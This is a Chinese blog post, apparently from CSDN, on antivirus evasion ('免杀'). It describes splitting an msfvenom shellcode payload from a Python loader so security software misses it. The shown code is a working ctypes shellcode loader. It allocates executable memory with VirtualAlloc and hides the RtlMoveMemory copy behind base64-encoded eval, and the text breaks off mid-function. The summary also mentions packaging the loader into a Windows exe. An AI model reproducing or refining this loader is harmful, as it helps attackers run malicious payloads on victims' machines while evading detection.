【免杀】分离免杀（python）

原创

已于 2023-06-28 21:04:16 修改 · 875 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#python #开发语言 #网络安全

于 2023-06-28 21:02:25 首次发布

文章讲述了如何使用Python编写shellcode加载器，通过加密shellcode和loader，然后分别存储到不同的文件中。shellcode使用msfvenom生成，loader则包含创建内存空间、解密shellcode并执行的逻辑。加密部分使用了base64和b32encode。最后，通过pyinstaller或py2exe将程序打包成可执行文件（exe），以便在Windows环境中运行。尽管打包后的程序在某些反病毒软件中可能被误报为恶意软件。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

原理

shellcode是一段用于利用软件漏洞的有效负载代码，以其经常让攻击者获得shell而得名
shellcode loader加载器是用来运行shellcode的加载器，用什么语言来写都可以

思路就是将shellcode和loader分离开来，用loader加载存在于普通文件中的shellcode

实现

先将loader和shellcode都加密
loader

def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=="